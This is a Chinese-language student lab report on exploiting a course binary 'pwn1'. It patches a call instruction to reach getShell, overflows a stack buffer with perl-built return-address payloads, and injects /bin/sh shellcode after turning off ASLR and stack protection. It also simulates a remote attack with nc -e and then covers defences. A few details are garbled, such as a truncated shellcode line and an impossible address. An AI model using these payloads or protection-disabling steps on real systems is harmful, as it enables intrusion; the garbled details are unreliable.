1 逆向及Bof基礎實踐說明
1.1 實踐目標
本次實踐使用的是kali系統本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
三個實踐內容如下:
1.手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
2.利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
3.注入一個自己製作的shellcode並執行這段shellcode。
這幾種思路,基本代表現實情況中的攻擊目標:
1.執行原本不可訪問的程式碼片段
2.強行修改程式執行流
3.以及注入執行任意程式碼。
1.2 基礎知識
熟悉Linux基本操作能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
理解Bof的原理。
能看得懂彙編、機器指令、EIP、指令地址。
會使用gdb,vi。
當然,如果還不懂,通過這個過程能對以上概念有了更進一步的理解就更好了。
--
指令、引數
一些具體的問題可以邊做邊查,但最重要的思路、想法不能亂。
要時刻知道,我是在做什麼?現在在查什麼資料?改什麼資料?要改成什麼樣?每步操作都要單獨實踐驗證,再一步步累加為最終結果。
操作成功不重要,照著敲入指令肯定會成功。
重要的是理解思路。
看指導理解思路,然後拋開指導自己做。
碰到問題才能學到知識。
具體的指令可以回到指導中查。
2 直接修改程式機器指令,改變程式執行流程
知識要求:Call指令,EIP暫存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進位制編輯工具
學習目標:理解可執行檔案與機器指令
進階:掌握ELF檔案格式,掌握動態技術
首先在雲班課資源中下載PWN1並將其複製到kali虛擬機器上
在桌面右鍵點選在這裡開啟終端,輸入命令objdump -d pwn1 | more進行反彙編
可以看到指令地址、機器指令及彙編指令
在地址80484b5處可以看到,主函式main執行了一次函式呼叫,對應的彙編指令為call 8048491 <foo>,意為呼叫位於地址8048491處的foo函式。
本條call指令前面顯示為其對應的機器指令為e8 d7 ff ff ff,e8在機器指令中意為跳轉,當本條指令執行時,機器會將後面的相對地址d7 ff ff ff加上eip暫存器中的值,得到的就是下一條應該跳轉到的指令的地址,此處的d7 ff ff ff為補碼,對應十進位制的-41,下一條應該跳轉的地址為EIP+d7ffffff=80484ba-0x29=8048491,正對應上面彙編指令call中的實體地址8048491處的foo函式。
實踐中要求通過直接修改機器指令使得getshell函式被呼叫,在這裡我們可以通過修改主函式通過call指令呼叫foo函式處的機器指令e8 d7 ff ff ff為getShell函式所在地址減去80484ba對應的補碼就可以將主函式呼叫foo函式改為呼叫etshell函式。
在反彙編頁面繼續下滑,可以看到getshell函式對應的地址為0804847d
將0804847d減去80484ba得到補碼c3ffffff,使其替換d7ffffff即可。
複製PWN1到PWN2,在終端使用vi開啟PWN2進行機器指令的修改,修改步驟如下:
1.按esc鍵之後輸入%!xxd將顯示模式改為16進位制
2.輸入/f0e8查詢到機器指令e8 d7 ff ff ff
3.輸入i進入insert模式,將d7改為c3
4.輸入指令%!xxd -r轉換顯示格式16進製為原格式,這樣儲存修改後程式才能正常執行。
5.輸入WQ存檔退出。
在修改完畢之後再次對PWN2使用反彙編指令可以看到主函式的call指令函式呼叫確實由之前的呼叫foo函式變為了呼叫getshell函式。
在終端使用./pwn2時提示執行失敗,右鍵點選pwn2檔案設定許可權為允許作為程式執行
在命令列中重新執行pwn2,輸入指令ls,程式pwn2可以正常執行,成功通過直接修改機器指令實現對程式呼叫函式的改變
3 通過構造輸入引數,造成BOF攻擊,改變程式執行流
知識要求:堆疊結構,返回地址 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取 進階:掌握ELF檔案格式,掌握動態技術3.1 反彙編,瞭解程式的基本功能
首先使用反彙編命令objdump -d pwn1 | more將程式碼進行反彙編 來到foo函式,通過彙編指令lea -0x1c(%ebp),%eax可以發現foo函式存在緩衝區漏洞,即每次系統只預留28位元組的緩衝區空間,此時如果我們想辦法輸入過長的資料,使得超出部分覆蓋了原本的返回地址,並且使得覆蓋的新資料恰好為函式getshell的地址,這樣就能成功使得程式呼叫getshell函式。3.2 確認輸入字串哪幾個字元會覆蓋到返回地址
執行這步時需檢查自己的虛擬機器是否有安裝gdb,在終端中輸入gdb -v即可 輸入命令之後提示虛擬機器沒有安裝GDB,在終端中進入管理員模式,輸入以下命令進行GDB的安裝:sudo chmod a+w /etc/apt/sources.list
sudo chmod a-w /etc/apt/sources.list
apt-get update
apt-get install gdb
輸入完畢後稍等片刻完成GDB安裝,再次輸入gdb -v顯示版本號即為安裝成功:
接下來開始測試輸入一個較長的字串用於找出輸入的哪些部分可以覆蓋返回地址:
首先進入root模式,輸入gdb pwn1進入除錯模式,輸入r開始除錯:
輸入一串長數字1111111122222222333333334444444412345678,輸入完畢後輸入info r檢視eip暫存器的值:
可以看出此時eip的值為0x34333231,正好對應1234的倒序的ASC碼,所以輸入數字的第24位至28位可以覆蓋返回地址,所以令輸入的第24位至28位對應函式getshell的地址即可讓程式呼叫函式getshell
通過反彙編可以看到getshell的地址為0804847d,根據之前eip的值是數字1234的逆序的ASC碼可以得出,此時輸入11111111222222223333333344444444\x7d\x84\x04\x08即可將getshell的地址覆蓋到程式的返回地址中。
3.4 構造輸入字串
因為我們無法直接通過鍵盤輸入\x7d\x84\x04\x08這樣的十六進位制字串,所以我們需要將字串11111111222222223333333344444444\x7d\x84\x04\x08作為一個檔案,然後將其作為pwn1的輸入即可完成十六進位制字串的錄入。首先輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input將字串儲存到檔案“input”中:
然後使用命令xxd input以十六進位制的形式檢視檔案input,可以看到成功將十六進位制字串以檔案形式儲存:
然後將input的輸入,通過管道符“|”,作為pwn1的輸入。
輸入完畢之後程式開始執行,此時輸入ls發現成功列出了當前目錄下所有檔案,說明成功使用輸入構造過的過長字串覆蓋返回地址成功使得程式呼叫函式getshell。
4. 注入Shellcode並執行
4.1 準備一段Shellcode
shellcode就是一段機器指令(code)通常這段機器指令的目的是為獲取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),所以這段機器指令被稱為shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像新增一個使用者、執行一條指令。
本實驗以以下shellcode為例:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 準備工作
首先需要安裝prelink軟體包以執行execstack命令用於對程式的堆疊進行設定:根據班課資源提示步驟進行解壓及安裝配置:
配置完畢之後先通過execstack -s pwn1指令來設定堆疊可執行
再用 execstack -q 指令查詢檔案的堆疊是否可執行
顯示X pwn1即為堆疊可執行。
接下來使用如下指令來關閉地址隨機化:
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
4.3 構造要注入的payload
根據實驗指導書提示:
Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
所以就是看shellcode是在緩衝區的前面還是在緩衝區的後面
這裡進行嘗試的結構為:anything+retaddr+nops+shellcode。
輸入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最後的\x4\x3\x2\x1將覆蓋到堆疊上的返回地址的位置。我們得把它改為這段shellcode的地址,這樣就能通過覆蓋返回地址的值執行shellcode
接下來我們來確定\x4\x3\x2\x1到底該填什麼。
開啟一個終端注入這段攻擊buf:
(cat input_shellcode;cat) | ./pwn1
注意:輸入該程式碼後回車一次即可,無需多次回車至出現������1�Ph//shh/bin��PS��1Ұ字樣,因為出現該字樣後在前往另外一個終端時會無法attach上該程式。
再開另外一個終端,用gdb來除錯pwn1這個程式。
首先使用指令ps -ef | grep pwn1找到pwn1的程式號為27215,隨後啟動gdb進行除錯。
先輸入指令attach 27215來聯絡上該程式
使用指令disassemble foo設定斷點,這裡看到ret指令處的地址為0x080484ae,使用指令break *0x080484ae 設定斷點,輸入c繼續執行
注意在輸入c(即continue那一步)時,先應返回原本程式輸入一個回車!
在這裡可以看到esp的地址為0xffffd54c,所以跳轉到0xffffd54c
跳轉後可以看到我們之前注入的shellcode中用於覆蓋返回地址的部分1234:
結合結構anything+retaddr+nops+shellcode,將1234位置的地址加上4位元組(shellcode挨在緩衝
區的後面)即可得到shellcode的地址0xffffd550,所以將0xffffd550替換1234,便可令shellcode的地址覆蓋ret返回地址,所以此處輸入的shellcode應為:
perl -e 'print "A" x 32;print "\x50\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入shellcode之後輸入pwn1,執行後輸入ls成功列出當前目錄下所有檔案,成功通過注入
shellcode覆蓋返回地址從而執行shellcode:
4.5 結合nc模擬遠端攻擊
本例中是在同一臺主機上做的實驗;該實驗最好在互相連通的兩臺Linux上做,將ip地址替換為主機1的IP即可。
首先輸入指令sudo ifconfig檢視本機的ip地址 127.0.0.1,(這裡要在ifconfig的前面加上sudo,不然會提示找不到該命令。
輸入指令nc -l 127.0.0.1 -p 28234 -e ./pwn1 模擬一個有漏洞的網路服務:
-l 表示listen, -p 後加埠號 -e 後加可執行檔案,網路上接收的資料將作為這個程式的輸入
這麼做的目的在於將主機1設定成為伺服器,也就是被攻擊機
主機2,連線主機1併傳送攻擊載荷:
開啟第三個終端按照之前的步驟進行單步除錯並檢視esp暫存器的值
找到esp暫存器的值,跳轉之後找到1234處的地址,計算得出shellcode的地址為ddddd550
回到終端重新進行注入,使用xxd檢視shellcode的值:
5 Bof攻擊防禦技術
5.1. 從防止注入的角度。
在編譯時,編譯器在每次函式呼叫前後都加入一定的程式碼,用來設定和檢測堆疊上設定的特定數字,以確認是否有bof攻擊發生。
5.2. 注入了也不讓執行。
結合CPU的頁面管理機制,通過DEP/NX用來將堆疊記憶體區設定為不可執行。這樣即使是注入的shellcode到堆疊上,也執行不了。
通過execstack -s pwn1 來設定堆疊可執行
通過execstack -q pwn1 來查詢檔案的堆疊是否可執行
5.3. 增加shellcode的構造難度。
結合CPU的頁面管理機制,通過DEP/NX用來將堆疊記憶體區設定為不可執行。這樣即使是注入的shellcode到堆疊上,也執行不了。
shellcode中需要猜測返回地址的位置,需要猜測shellcode注入後的記憶體位置。這些都極度依賴一個事實:應用的程式碼段、堆疊段每次都被OS放置到固定的記憶體地址。ALSR,地址隨機化就是讓OS每次都用不同的地址載入應用。這樣通過預先反彙編或除錯得到的那些地址就都不正確了。
proc/sys/kernel/randomize_va_space用於控制Linux下 記憶體地址隨機化機制(address space layout randomization),有以下三種情況
0 - 表示關閉程式地址空間隨機化。
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。
5.4 從管理的角度
加強編碼質量。注意邊界檢測。使用最新的安全的庫函式。
6 實驗感想
通過本次實驗我成功實現了直接通過修改可執行檔案中的機器指令,從而達成對程式執行流程的改變,令其由原來的foo函式改為對getshell函式的呼叫。通過對這個過程的實踐,我學會了如何使用odjdump來對一個可執行檔案進行反彙編,並且重新熟悉了反彙編結果中的地址、機器指令、彙編指令的結構及其大致用途,在直接修改可執行檔案的操作中讓我印象比較深的是call指令對應的機器指令是如何實現組合語言的功能的,e8即為跳轉之意,而後面是相對地址的補碼,只用eip的值減去後面的相對地址才能得到要跳轉的地址,從而完成跳轉,在這個過程中我也瞭解了機器指令是如何實現彙編指令的。除此之外,我還學會了使用%!xxd命令在vi編輯器中以16進位制的形式開啟可執行檔案,從而完成對可執行檔案的修改。
在通過構造輸入引數,造成BOF攻擊,改變程式執行流的實踐中,我再次複習併成功實現了通過緩衝區溢位攻擊覆蓋程式返回地址從而呼叫函式getshell,即首先通過反彙編檢視可執行檔案得到程式預留的緩衝區的長度,然後構造一個過長的輸入字串,輸入後通過gdb除錯來看到輸入字串的哪些位置覆蓋了返回地址,將其替換為getshell函式的地址即可完成對getshell函式的呼叫。在這一系列操作中我學會了如何在虛擬機器系統的命令列中使用gdb進行除錯,並且通過指令info r來看到當前操作下每個暫存器的值,這對於我們預先除錯可執行檔案並作出攻擊的操作至關重要。同時在構造字串時,我還學會了使用perl來將16進位制輸入串儲存到一個檔案裡再將檔案輸入到程式中(鍵盤無法輸入16進位制字串,所以需要perl將字串儲存到一個檔案中)
在注入shellcode的實踐中,我瞭解到了Linux下有兩種基本構造攻擊的方法:retaddr+nop+shellcode nop+shellcode+retaddr,這裡的nops為滑行區,shellcode在注入之後不是在緩衝區的前面就是自緩衝區的後面,通過檢視esp暫存器的值,在使用x/16x命令跳轉到相應區域後,加上之前注入的shellcode的末尾部分位元組長度即為注入的shellcode地址,然後重新注入shellcode,並將其替換為shellcode的地址,成功完成了通過注入shellcode並使其地址覆蓋到返回地址從而完成對shellcode的呼叫。在上述操作中我熟悉了在kali系統中如何檢視當前在執行中的程式以及程式號,並在gdb除錯中以attach + 程式號的形式成功在另外一個終端中除錯程式。
在結合nc模擬遠端攻擊的實踐中,我學會了如何使用nc命令來模擬一個有網路漏洞的伺服器(靶機),並且使用cat指令進行shellcode的注入,並且結合第三個終端來單步除錯檢視esp的值,最後成功實現對一個有網路漏洞的伺服器的shellcode注入。
在第五部分對bof攻擊防禦技術的學習中,我學會了如何使用execstack命令來設定堆疊不可執行,這樣即使成功注入了shellcode也無法執行,同時也可以使用記憶體地址隨機化的機制來使得每次記憶體中堆疊的地址都會隨機變化,這樣實驗中預先除錯可執行檔案得到堆疊地址並以此為基礎準備攻擊的方式便不奏效了,是很實用的bof攻擊防禦技術。